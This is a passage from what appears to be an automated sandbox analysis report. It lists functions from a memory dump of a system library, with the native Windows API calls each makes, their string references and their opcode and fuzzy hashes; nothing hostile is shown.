RtlFreeHeap.1105(?,00000000,?,00000001,6C0F86AC,6C0F86D4,?,6C0F86AC,00000001,?,000000A0,?,?,?,6C076D7C,00000001), ref: 6C0D407C
RtlFreeHeap.1105(?,00000000,?,00000001,6C0F86AC,6C0F86D4,?,6C0F86AC,00000001,?,000000A0,?,?,?,6C076D7C,00000001), ref: 6C0D408C

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$AcquireFreeHeapRelease$AlertNodeProgressRemoveShutdownThreadWait
String ID:
API String ID: 83280457-0
Opcode ID: 22fff562b7b544b402918ed485542908cc544ef33c5b9a42b2b8c52e0281e652
Instruction ID: d8c6b4ec554f0f23bb2b0c42e2a80432ee7acbff247e4e9e87603170f5ab21a2
Opcode Fuzzy Hash: 22fff562b7b544b402918ed485542908cc544ef33c5b9a42b2b8c52e0281e652
Instruction Fuzzy Hash: 84017C72201A45BFD3119BA9CD84F97B7ECEF49668B010229F50887F11CB28FC55CAE4

Uniqueness

Uniqueness Score: -1.00%

Function 6C09FF10, Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44timeCOMMON

Download Yara Rule

APIs

DbgPrintEx.1105(00000065,00000000,NTDLL: Calling thread (%p) not owner of CritSect: %p Owner ThreadId: %p,?,000000FF,?,6C0E09B0,00000014,6C01EBD8,?,?,?,00000000,?,6C001E03,?), ref: 6C09FF69
RtlDecodePointer.1105(6C0E09B0,00000014,6C01EBD8,?,?,?,00000000,?,6C001E03,?,6C001D6E,?), ref: 6C09FF78
RtlRaiseStatus.1105(C0000264,6C0E09B0,00000014,6C01EBD8,?,?,?,00000000,?,6C001E03,?,6C001D6E,?), ref: 6C09FF89
RtlDebugPrintTimes.1105(?,C0000264,6C0E09B0,00000014,6C01EBD8,?,?,?,00000000,?,6C001E03,?,6C001D6E,?), ref: 6C09FF9A
RtlpNotOwnerCriticalSection.1105 ref: 6C09FFB1

Strings

NTDLL: Calling thread (%p) not owner of CritSect: %p Owner ThreadId: %p, xrefs: 6C09FF60

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: Print$CriticalDebugDecodeOwnerPointerRaiseRtlpSectionStatusTimes
String ID: NTDLL: Calling thread (%p) not owner of CritSect: %p Owner ThreadId: %p
API String ID: 2675442896-1911121157
Opcode ID: f3a48f7a012a31a5200ea9d202543599ebaeb5d809cdfcbee2ec3e284ad1223d
Instruction ID: f8cec06cc06786be62c78b087ab5e25ffe1a081f64497a73022089a98f53b1d8
Opcode Fuzzy Hash: f3a48f7a012a31a5200ea9d202543599ebaeb5d809cdfcbee2ec3e284ad1223d
Instruction Fuzzy Hash: A311ED75911254EFCF02CB50CA44FD8BBF1FF08709F608444F4096BAA0CB39AA94EBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6C00E009, Relevance: 9.3, APIs: 6, Instructions: 282nativeCOMMON

Download Yara Rule

APIs

memset.1105(?,00000000,000000AA,00000000,0000EEEE), ref: 6C00E058
ZwIsUILanguageComitted.1105(00000000,0000EEEE), ref: 6C00E060
RtlpGetNameFromLangInfoNode.1105(0000EEEE,00000001,?,00000000,?,00000000,0000EEEE), ref: 6C00E0EF

Part of subcall function 6C00E2F0: RtlInitUnicodeString.1105(?,MUI,00000000,0000EEEE,?,00000000,?,00000000,0000EEEE), ref: 6C00E336

ZwQueryInstallUILanguage.1105(?,00000000,0000EEEE), ref: 6C064FFE
RtlLCIDToCultureName.1105(?,?,00000000,?,00000000,0000EEEE), ref: 6C06505B

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: LanguageName$ComittedCultureFromInfoInitInstallLangNodeQueryRtlpStringUnicodememset
String ID:
API String ID: 645234790-0
Opcode ID: 3665b4750563e7368d8bc0273af76d50b441200c3e6c2f7762c83f83a6d71cfe
Instruction ID: be2f317c4b36057ce55997c591194ee94625237561c7df0a4ad0da0af36ac31a
Opcode Fuzzy Hash: 3665b4750563e7368d8bc0273af76d50b441200c3e6c2f7762c83f83a6d71cfe
Instruction Fuzzy Hash: 01B19134B002698BE724CF55C890BE9B3F6AF44704F0585EAD559EBB81EB309D85CF61

Uniqueness

Uniqueness Score: -1.00%

Function 6C03DA88, Relevance: 9.3, APIs: 6, Instructions: 253memoryCOMMON

Download Yara Rule

APIs

RtlAcquireSRWLockExclusive.1105(6C0F861C,6C0E0268,00000020,6C01BE44,?,00000000,?,00000001,00000000,?,000002BE,?,?,?,?), ref: 6C03DAD3
RtlImageNtHeader.1105(00000001,6C0F861C,6C0E0268,00000020,6C01BE44,?,00000000,?,00000001,00000000,?,000002BE,?,?,?,?), ref: 6C03DB65
RtlAllocateHeap.1105(?,00000008,00000400,6C0F861C,6C0E0268,00000020,6C01BE44,?,00000000,?,00000001,00000000,?,000002BE,?,?), ref: 6C03DCA1

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: AcquireAllocateExclusiveHeaderHeapImageLock
String ID:
API String ID: 1783064793-0
Opcode ID: 8112f68f43583366ea1c06ffd1fdae11504f6a3d61454ff888681c683218a436
Instruction ID: b642edcce6e06d8515f15552f61f2c814cf4f2d373b613326d1c4dafbb205897
Opcode Fuzzy Hash: 8112f68f43583366ea1c06ffd1fdae11504f6a3d61454ff888681c683218a436
Instruction Fuzzy Hash: 40A1AC74A25316CFDF04CF68C481799B7F4BF4A348F24565AD8289BA92D774D882CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 6C0138A4, Relevance: 9.2, APIs: 6, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.1105(?,00000008,000000AA,00000007,00000000,00000000,00000000,00000000,?,?,PreferredUILanguages,00000000,00020019,00000018,?), ref: 6C013913
RtlInitUnicodeString.1105(?,00000000,?,00000008,000000AA,00000007,00000000,00000000,00000000,00000000,?,?,PreferredUILanguages,00000000,00020019,00000018), ref: 6C013960
RtlCultureNameToLCID.1105(?,000000AA,?,00000000,?,00000008,000000AA,00000007,00000000,00000000,00000000,00000000,?,?,PreferredUILanguages,00000000), ref: 6C013979
RtlFreeHeap.1105(?,00000000,?,?,00000008,000000AA,00000007,00000000,00000000,00000000,00000000,?,?,PreferredUILanguages,00000000,00020019), ref: 6C013A53

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$AllocateCultureFreeInitNameStringUnicode
String ID:
API String ID: 3431183669-0
Opcode ID: 74f7cbef4658aaa41d8116a5e8e660c2874a3b3c6bc41ec9a86e3a9d0c706b81
Instruction ID: 9947b62accfaac43ef702aebddc2748522742d88e49aa3f6e8a0256a00972647
Opcode Fuzzy Hash: 74f7cbef4658aaa41d8116a5e8e660c2874a3b3c6bc41ec9a86e3a9d0c706b81
Instruction Fuzzy Hash: F591B0716083418BE744CF5AC48079AB7E5BF8A358F544A2EFCD58BE91E370D885C792

Uniqueness

Uniqueness Score: -1.00%

Function 6C005AC0, Relevance: 9.2, APIs: 6, Instructions: 222COMMON

Download Yara Rule

APIs

memcpy.1105(?,?,00000200,?,000001FF,?,?,?,?), ref: 6C005BE1

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 134de560d9b9bb06b4e39c9874b4113f0c74ecf78f74dbd2995bcd75673cbc9b
Instruction ID: a5e907f77a7231ce19b9d367b086c5ac46eb1fb0f775cbd8cd73af7ce6100423
Opcode Fuzzy Hash: 134de560d9b9bb06b4e39c9874b4113f0c74ecf78f74dbd2995bcd75673cbc9b
Instruction Fuzzy Hash: DF81E6B5B011198BDB20CE29CC40BDA77F8EF44708F1141A9DA14E7A80E774EEC58F98

Uniqueness

Uniqueness Score: -1.00%

Function 6C0D2EF7, Relevance: 9.2, APIs: 6, Instructions: 183timeCOMMON

Download Yara Rule

APIs

_allshl.1105(?,00000000,00000000,00000000,?,?,?,?,6C0CB632,?,00000000), ref: 6C0D303C
_allshl.1105(?,00000000,00000000,00000000,?,?,?,?,6C0CB632,?,00000000), ref: 6C0D3049
RtlAcquireSRWLockExclusive.1105(?,?,00000000,00000000,00000000,?,?,?,?,6C0CB632,?,00000000), ref: 6C0D305E
RtlDebugPrintTimes.1105(?,?,?,?,?,00000000,00000000,00000000,?,?,?), ref: 6C0D3081
RtlDebugPrintTimes.1105(?,?,?,?,?,00000000,00000000,00000000,?,?,?), ref: 6C0D30AF
RtlReleaseSRWLockExclusive.1105(?), ref: 6C0D30DB

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: DebugExclusiveLockPrintTimes_allshl$AcquireRelease
String ID:
API String ID: 4236268356-0
Opcode ID: 87443e4a34cbe70ba30210ca2b8815936236ee0de0f8ac4a8f3d17b64fce1117
Instruction ID: f53f43c30064ae9b5e26e4a87d1030d0f9b2116f451f16474a3eaa9d49218ba5
Opcode Fuzzy Hash: 87443e4a34cbe70ba30210ca2b8815936236ee0de0f8ac4a8f3d17b64fce1117
Instruction Fuzzy Hash: F45117326043119FC704CF2AC89066BBBF6FF89315B068669E894DB691DB34EC16CBD1

Uniqueness

Uniqueness Score: -1.00%

Function 6C00B171, Relevance: 9.2, APIs: 6, Instructions: 166nativeCOMMON

Download Yara Rule

APIs

ZwQueryDebugFilterState.1105(?,6C04B627,6C0DF7A8,00000090,6C00B16E,00000003,6C04B627,0000000A,00000001,00000000,0000000A,6C04B627,Invalid parameter passed to C runtime function.), ref: 6C00B1C4
_alloca_probe_16.1105(6C0DF7A8,00000090,6C00B16E,00000003,6C04B627,0000000A,00000001,00000000,0000000A,6C04B627,Invalid parameter passed to C runtime function.), ref: 6C064835
memcpy.1105(?,?,?,6C0DF7A8,00000090,6C00B16E,00000003,6C04B627,0000000A,00000001,00000000,0000000A,6C04B627), ref: 6C064866
_vsnprintf.1105(?,-00000081,?,?,0000000A,6C04B627), ref: 6C0648AD
ZwWow64DebuggerCall.1105(00000001,00000000,7FFE02D4,?,6C04B627,6C0DF7A8,00000090,6C00B16E,00000003,6C04B627,0000000A,00000001,00000000,0000000A,6C04B627,Invalid parameter passed to C runtime function.), ref: 6C064986

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: CallDebugDebuggerFilterQueryStateWow64_alloca_probe_16_vsnprintfmemcpy
String ID:
API String ID: 1346858437-0
Opcode ID: 50d7c9da759e02c4bcdc4d8f34476872b4dd571c452d411f4b7c2b59723ef1f5
Instruction ID: 9d99a1e739d9973d4937c769574fc12f45ddda0f02db19cc6837bc171e7f1b95
Opcode Fuzzy Hash: 50d7c9da759e02c4bcdc4d8f34476872b4dd571c452d411f4b7c2b59723ef1f5
Instruction Fuzzy Hash: 7D510471D04259EFDB21CFA5C860BEEBBF0AF01718F1042ADD859ABF81D73049458B90

Uniqueness

Uniqueness Score: -1.00%

Function 6C0D740D, Relevance: 9.1, APIs: 6, Instructions: 141memoryCOMMON

Download Yara Rule

APIs

RtlCompareMemory.1105(00000018,?,00000000,00000000,00000000,00000000,00000000,00000000,?,6C0814C4,0000000C,?,?,00000000,00000066,00000000), ref: 6C0D743C
RtlAllocateHeap.1105(?,00000008,0000001A,00000000,00000000,00000000,00000000,00000000,?,6C0814C4,0000000C,?,?,00000000,00000066,00000000), ref: 6C0D7464
memcpy.1105(00000018,?,00000000,?,00000008,0000001A,00000000,00000000,00000000,00000000,00000000,?,6C0814C4,0000000C,?,?), ref: 6C0D7484
RtlAllocateHeap.1105(?,00000008,00000018,00000000,00000066,00000000), ref: 6C0D74AC
memcmp.1105(00000066,00000008,00000010,00000018,?,00000000,00000000,00000000,00000000,00000000,00000000,?,6C0814C4,0000000C,?,?), ref: 6C0D7527
RtlAllocateHeap.1105(?,00000008,00000018,00000000,00000066,00000000), ref: 6C0D7546

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateHeap$CompareMemorymemcmpmemcpy
String ID:
API String ID: 3500240269-0
Opcode ID: 53f0b23cde38d8cbdebcfad0d89ab03898b2aa5ba471344c79297c4b5cd44298
Instruction ID: 434543938e91d40091777fd428316604522888992505ac5d2808afbcca0540a8
Opcode Fuzzy Hash: 53f0b23cde38d8cbdebcfad0d89ab03898b2aa5ba471344c79297c4b5cd44298
Instruction Fuzzy Hash: F4518B71600606EFDB15CF58C480B86BBF5FF45309F15C1AAE9089F61AE3B1E946CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6C010100, Relevance: 9.1, APIs: 6, Instructions: 122nativeCOMMON

Download Yara Rule

APIs

RtlAcquireSRWLockExclusive.1105(6C0F861C,6C0DF848,0000001C,6C00F66C,?,00000000,6C0F52D8), ref: 6C010120
ZwUnmapViewOfSection.1105(000000FF,?,6C0F861C,6C0DF848,0000001C,6C00F66C,?,00000000,6C0F52D8), ref: 6C0101AF
ZwClose.1105(?,000000FF,?,6C0F861C,6C0DF848,0000001C,6C00F66C,?,00000000,6C0F52D8), ref: 6C0101BD

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: AcquireCloseExclusiveLockSectionUnmapView
String ID:
API String ID: 1629747488-0
Opcode ID: 29a43bbe4833a112314d74cd296d32d0484c56d021540faf17aa5389c0fdc86d
Instruction ID: 5432ba2b3dcc706431429d2791be3b3a95277106c2274b7069915c778d831d42
Opcode Fuzzy Hash: 29a43bbe4833a112314d74cd296d32d0484c56d021540faf17aa5389c0fdc86d
Instruction Fuzzy Hash: DA418D31A89644DFCF41CFA8C99079EB7F0BF06B28F540215D861ABF92D7399994CB60

Uniqueness

Uniqueness Score: -1.00%

Function 6C085623, Relevance: 9.1, APIs: 6, Instructions: 99COMMON

Download Yara Rule

APIs

RtlGetCurrentServiceSessionId.1105(00000000,00000002,?,6C07E4BC,6C0E03D0,0000000C,6C079687,00000000,00000000,00000001,?,?,7FFE0386,?,6C006778,00000001), ref: 6C085628
RtlGetCurrentServiceSessionId.1105 ref: 6C085661
RtlTryEnterCriticalSection.1105(6C0F5350,00000000,00000002,?,6C07E4BC,6C0E03D0,0000000C,6C079687,00000000,00000000,00000001,?,?,7FFE0386,?,6C006778), ref: 6C08569B
RtlGetCurrentServiceSessionId.1105(6C0F5350,00000000,00000002,?,6C07E4BC,6C0E03D0,0000000C,6C079687,00000000,00000000,00000001,?,?,7FFE0386,?,6C006778), ref: 6C0856A2
RtlGetCurrentServiceSessionId.1105 ref: 6C0856D2
RtlGetCurrentServiceSessionId.1105 ref: 6C08572F

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentServiceSession$CriticalEnterSection
String ID:
API String ID: 1555030633-0
Opcode ID: 8f10231c638ec8e20df6f6b0e83cb24a18a0995f459ac90531d79d9f97c38b34
Instruction ID: 139102639508e1b78bd06f81696295f71378b8390f595c737369ecc35cdc6196
Opcode Fuzzy Hash: 8f10231c638ec8e20df6f6b0e83cb24a18a0995f459ac90531d79d9f97c38b34
Instruction Fuzzy Hash: 5E31B439647B81DBFF228768DD44F5437D4AB02768F7883A0E9318BFE6D7689500C610

Uniqueness

Uniqueness Score: -1.00%

Function 6C0B3D40, Relevance: 9.1, APIs: 6, Instructions: 98memorytimeCOMMON

Download Yara Rule

APIs

RtlAcquireSRWLockExclusive.1105(6C0F8A6C,?,00000000,00000000,?,?,?,?,?,?,6C0B3CAA,00000000,00008000,?), ref: 6C0B3D7A
RtlReleaseSRWLockExclusive.1105(6C0F8A6C,6C0F8A6C,?,00000000,00000000,?,?,?,?,?,?,6C0B3CAA,00000000,00008000,?), ref: 6C0B3DA1
RtlDebugPrintTimes.1105(?,?,6C0F8A6C,6C0F8A6C,?,00000000,00000000,?,?,?,?,?,?,6C0B3CAA,00000000,00008000), ref: 6C0B3DB0
RtlAcquireSRWLockExclusive.1105(6C0F8A6C,?,?,?,?,?,?,6C0B3CAA,00000000,00008000,?), ref: 6C0B3DC6
RtlReleaseSRWLockExclusive.1105(6C0F8A6C,6C0F8A6C,?,00000000,00000000,?,?,?,?,?,?,6C0B3CAA,00000000,00008000,?), ref: 6C0B3E1A
RtlFreeHeap.1105(?,00000000,6C0F8A6C,6C0F8A6C,6C0F8A6C,6C0F8A6C,?,00000000,00000000,?,?,?,?,?,?,6C0B3CAA), ref: 6C0B3E4E

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$AcquireRelease$DebugFreeHeapPrintTimes
String ID:
API String ID: 1017367878-0
Opcode ID: 2a56ca56d1fb48c0f72085f0f9bbaf348a48ab140288b2d9b37de2db49f768a4
Instruction ID: bd2315a78a66041b1196ccd973dd71508e5a6c53e7badbc144e44f67265d19f0
Opcode Fuzzy Hash: 2a56ca56d1fb48c0f72085f0f9bbaf348a48ab140288b2d9b37de2db49f768a4
Instruction Fuzzy Hash: 09317E71509301DFC704CF15D58064ABBF1FF8A318F554A6EF9A8ABA40DB31E949CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6C0CA189, Relevance: 9.1, APIs: 6, Instructions: 96nativeCOMMON

Download Yara Rule

APIs

RtlAcquireSRWLockExclusive.1105(6C0F6220,00000000,?,?,?), ref: 6C0CA1AE
ZwGetNlsSectionPtr.1105(0000000C,?,00000000,?,?,6C0F6220,00000000,?,?,?), ref: 6C0CA1E8
RtlReleaseSRWLockExclusive.1105(6C0F6220,?,00000000,00000000,?,0000000C,?,00000000,00000050,6C0F6220,00000000,?,?,?), ref: 6C0CA252

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$AcquireReleaseSection
String ID:
API String ID: 1496884002-0
Opcode ID: 02f13a5624107a0db2b8f0476deeec26383ccaef8a2a5f6d4beaeef2fc0f2652
Instruction ID: 4b11bb5b951bfe2bdcc65c28eb2b3b9ea6fe48113e266cbdb8ea7713da06469b
Opcode Fuzzy Hash: 02f13a5624107a0db2b8f0476deeec26383ccaef8a2a5f6d4beaeef2fc0f2652
Instruction Fuzzy Hash: 3531F431B04615EBD7118F9DC840B9EBBF8EF45718F244169EA15EBB40EB71DD018791

Uniqueness

Uniqueness Score: -1.00%

Function 6C00F7C0, Relevance: 9.1, APIs: 6, Instructions: 64nativeCOMMON

Download Yara Rule

APIs

RtlAcquireSRWLockExclusive.1105(00000058,00000000,00000000,00000000,?,6C0776A7,?,?,00000000,6BFE67CC,00000000,00000000,?,00000040), ref: 6C00F7F5
RtlReleaseSRWLockExclusive.1105(00000058,00000058,00000000,00000000,00000000,?,6C0776A7,?,?,00000000,6BFE67CC,00000000,00000000,?,00000040), ref: 6C00F860

Part of subcall function 6C00F8C8: RtlAcquireSRWLockExclusive.1105(6C0F86AC,00000058,?,00000030,6C00F813,00000058,00000000,00000000,00000000,?,6C0776A7,?,?,00000000,6BFE67CC,00000000), ref: 6C00F8D5
Part of subcall function 6C00F8C8: RtlRbRemoveNode.1105(6C0F86DC,00000030,6C0F86AC,00000058,?,00000030,6C00F813,00000058,00000000,00000000,00000000,?,6C0776A7,?,?,00000000), ref: 6C00F8E0
Part of subcall function 6C00F8C8: RtlReleaseSRWLockExclusive.1105(6C0F86AC,6C0F86DC,00000030,6C0F86AC,00000058,?,00000030,6C00F813,00000058,00000000,00000000,00000000,?,6C0776A7,?,?), ref: 6C00F8EE

RtlReleaseSRWLockExclusive.1105(00000058,00000058,00000000,00000000,00000000,?,6C0776A7,?,?,00000000,6BFE67CC,00000000,00000000,?,00000040), ref: 6C00F814
ZwClose.1105(?,00000058,00000058,00000000,00000000,00000000,?,6C0776A7,?,?,00000000,6BFE67CC,00000000,00000000,?,00000040), ref: 6C00F82E
RtlSetLastWin32Error.1105(00000006,00000000,00000000,00000000,?,6C0776A7,?,?,00000000,6BFE67CC,00000000,00000000,?,00000040), ref: 6C00F867

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$Release$Acquire$CloseErrorLastNodeRemoveWin32
String ID:
API String ID: 2169420607-0
Opcode ID: 761cdefaef474ae48252c20445a5360a53b47dbd46938020740655477fea6c34
Instruction ID: dc39f82bff93fe8d8aa82a4385be03d00a3c1665f3a06fa5666d2edff14b688a
Opcode Fuzzy Hash: 761cdefaef474ae48252c20445a5360a53b47dbd46938020740655477fea6c34
Instruction Fuzzy Hash: 1711B23630520697FB01AF51C8C0BEA33EDBF41B18F964129ED144FA45DB30A489A7A8

Uniqueness

Uniqueness Score: -1.00%

Function 6C091242, Relevance: 9.0, APIs: 6, Instructions: 31nativeCOMMON

Download Yara Rule

APIs

ZwUnmapViewOfSection.1105(000000FF,?,6C09122C,6C0E07D0,00000058,6C090C91,?,00000000,?,00000000,?,?,?,6C0BB56B,00000000,?), ref: 6C09124C
ZwClose.1105(?,000000FF,?,6C09122C,6C0E07D0,00000058,6C090C91,?,00000000,?,00000000,?,?,?,6C0BB56B,00000000), ref: 6C09125A
ZwClose.1105(?,000000FF,?,6C09122C,6C0E07D0,00000058,6C090C91,?,00000000,?,00000000,?,?,?,6C0BB56B,00000000), ref: 6C091267
ZwClose.1105(?,6C09122C,6C0E07D0,00000058,6C090C91,?,00000000,?,00000000,?,?,?,6C0BB56B,00000000,?,00000000), ref: 6C091275
ZwClose.1105(?,6C09122C,6C0E07D0,00000058,6C090C91,?,00000000,?,00000000,?,?,?,6C0BB56B,00000000,?,00000000), ref: 6C091286
ZwClose.1105(?,6C09122C,6C0E07D0,00000058,6C090C91,?,00000000,?,00000000,?,?,?,6C0BB56B,00000000,?,00000000), ref: 6C091297

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: Close$SectionUnmapView
String ID:
API String ID: 682624529-0
Opcode ID: df9b40cab72dcffc0bbba800b8aff6860ab2831aacd6ae3e33e08911f29cf166
Instruction ID: a26975b291770875699160df3ba3ce3383c9f55175d630f1de8ce1c15d314bb6
Opcode Fuzzy Hash: df9b40cab72dcffc0bbba800b8aff6860ab2831aacd6ae3e33e08911f29cf166
Instruction Fuzzy Hash: C7F0B870D0210CEADF05AFB0E9847DE7BF9AF10219F309139F121725A0DB719454DB41

Uniqueness

Uniqueness Score: -1.00%

Function 6C004439, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 129COMMON

Download Yara Rule

Strings

0, xrefs: 6C0044A3
Flst, xrefs: 6C004476

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: 0$Flst
API String ID: 0-758220159
Opcode ID: a925b6a7ef96ad1514d17cfe3e2f1b9b2fa182e8c6e66fe1612b9ce1427217e5
Instruction ID: a8287a3b54d608e8c7089d0f1e558e10100c766ed2efd37361f01b7502de1347
Opcode Fuzzy Hash: a925b6a7ef96ad1514d17cfe3e2f1b9b2fa182e8c6e66fe1612b9ce1427217e5
Instruction Fuzzy Hash: B84187B1A04648DFEB14CFDAC58079DFBF5FF94318F65812AD0499BA40DB70A986CB84

Uniqueness

Uniqueness Score: -1.00%

Function 6C00E216, Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 112nativeCOMMON

Download Yara Rule

APIs

RtlInitUnicodeString.1105(?,\Registry\Machine\System\CurrentControlSet\Control\MUI\UILanguages\PendingDelete,00000000,0000EEEE), ref: 6C00E270
